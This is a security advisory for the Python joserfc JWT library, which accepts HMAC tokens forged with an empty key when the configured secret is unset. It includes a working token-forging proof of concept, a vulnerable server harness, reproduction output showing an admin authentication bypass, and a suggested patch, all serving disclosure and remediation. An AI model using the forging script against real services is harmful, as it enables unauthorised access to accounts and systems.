GHSA-gg9x-qcx2-xmrh

### Summary

`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or `None`. `HMACAlgorithm.sign` and `HMACAlgorithm.verify` in [`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever `OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key` only emits a `SecurityWarning` when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns `""`, or a `Hash.new("")`-style default verifies attacker tokens forged with `HMAC(key=b"", signing_input)` because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated `authlib.jose` module by the same maintainer; filing this advisory against joserfc alongside a separate `authlib` advisory because the codebases are independent shipping artifacts on PyPI.)

### Affected versions

`joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No patched release.

### Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode` with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to `""` or `None`. Common patterns that produce this state in production:

- `OctKey.import_key(os.environ.get("JWT_SECRET", ""))` - A key finder callable that returns `""` / `None` for an unknown `kid` - Default values like `os.getenv("SECRET") or ""`, `cfg.get("secret", "")` - Database / Redis row lookup that returns `""` for a missing row

### Vulnerable code

[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):

```python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512

def __init__(self, sha_type, recommended=False): self.name = f"HS{sha_type}" self.description = f"HMAC using SHA-{sha_type}" self.recommended = recommended self.hash_alg = getattr(self, f"SHA{sha_type}") self.algorithm_security = sha_type

def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig) ```

[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):

```python @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if len(key.raw_value) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key ```

The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is returned to the caller. `HMACAlgorithm.verify` then calls `hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`, and Python's `hmac.new(b"", ...)` accepts the empty key.

Cross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):

```ruby def ensure_valid_key!(key) raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String) raise_verify_error!('HMAC key cannot be empty') if key.empty? end ```

invoked from both `sign(signing_key:)` and `verify(verification_key:)`. PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key` raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`). firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a 256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the strongest existing length-warning logic but stops at `< 14 bytes` warn rather than `== 0` reject.

### How an empty `JWT_SECRET` reaches `hmac.new`

1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])` where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`, or any custom path that yields an `OctKey` whose `raw_value` is `b""`). 2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` → `deserialize_compact(value, key, algorithms, registry)`. 3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to `HMACAlgorithm.verify(signing_input, signature, key)`. 4. `verify` calls `key.get_op_key("verify")` → returns `b""`. 5. `hmac.new(b"", signing_input, sha256).digest()` is computed; the attacker computed exactly that digest with the same empty key, so `hmac.compare_digest` returns `True` and decode succeeds.

No upstream `nil`-check, no length check, no schema rejection. The path is reached from the public `joserfc.jwt.decode` API.

### Proof of concept

Attacker (no secret knowledge):

```python import base64, hmac, hashlib, json, time def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) now = int(time.time()) payload = b64url(json.dumps({ "sub": "attacker", "admin": True, "iat": now, "exp": now + 600, }).encode()) signing_input = header + b"." + payload sig = hmac.new(b"", signing_input, hashlib.sha256).digest() forged = signing_input + b"." + b64url(sig) print(forged.decode()) ```

Server harness:

```python # server.py from joserfc import jwt from joserfc.jwk import OctKey import os from wsgiref.simple_server import make_server

def app(environ, start_response): auth = environ.get("HTTP_AUTHORIZATION", "") token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = "" try: tok = jwt.decode(token, key, algorithms=["HS256"]) c = tok.claims body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode() start_response("200 OK", [("Content-Type", "text/plain")]) return [body] except Exception as e: start_response("401 Unauthorized", [("Content-Type", "text/plain")]) return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever() ```

### End-to-end reproduction (against `pip install joserfc==1.6.7`)

```bash # 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret # state. python3.12 -m venv venv ./venv/bin/pip install joserfc==1.6.7 ./venv/bin/python server.py & # listens on :8383

# 2. Run the attacker ./venv/bin/python attacker.py ```

Captured run output (canonical pre-fix run, joserfc 1.6.7, `poc-attacker-empty-20260523-150949.log`):

``` forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY HTTP 200 OK: sub='attacker' admin=True ```

Control (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):

``` forged token: eyJhbGciOiAiSFMyNTYi... HTTP 401 DENY: BadSignatureError: bad_signature: ```

Interpretation:

| Configuration | Observed | Expected | |------------------------------|-------------------------------------|----------| | `JWT_SECRET` unset (== "") | HTTP 200, `admin=True` (verified) | HTTP 401 | | `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into `HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects the same forged token with `ValueError: HMAC key must not be empty`.

### Impact

- Complete authentication bypass on any service whose key finder resolves to `""` / `None` (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single `SecurityWarning` ("Key size should be >= 112 bits") at `OctKey.import_key` time and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

### Suggested fix

Upgrade the existing `< 14 bytes` warning in `OctKey.import_key` to a hard reject at `len(key.raw_value) == 0`, plus a defence-in-depth check in `HMACAlgorithm.sign` and `HMACAlgorithm.verify` after `key.get_op_key(...)`:

```python # src/joserfc/_rfc7518/oct_key.py @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if not key.raw_value: raise ValueError("oct key material must not be empty") if len(key.raw_value) < 14: warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key

# src/joserfc/_rfc7518/jws_algs.py class HMACAlgorithm(JWSAlgModel): ... def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") if not op_key: raise ValueError("HMAC key must not be empty") return hmac.new(op_key, msg, self.hash_alg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") if not op_key: raise ValueError("HMAC key must not be empty") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig) ```

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in `prepare_key`, plus the runtime length checks the underlying hmac primitive does not perform).

### Fix PR

`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch `fix/hmac-reject-empty-key`, base `main`. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

### Credit

Reported by tonghuaroot.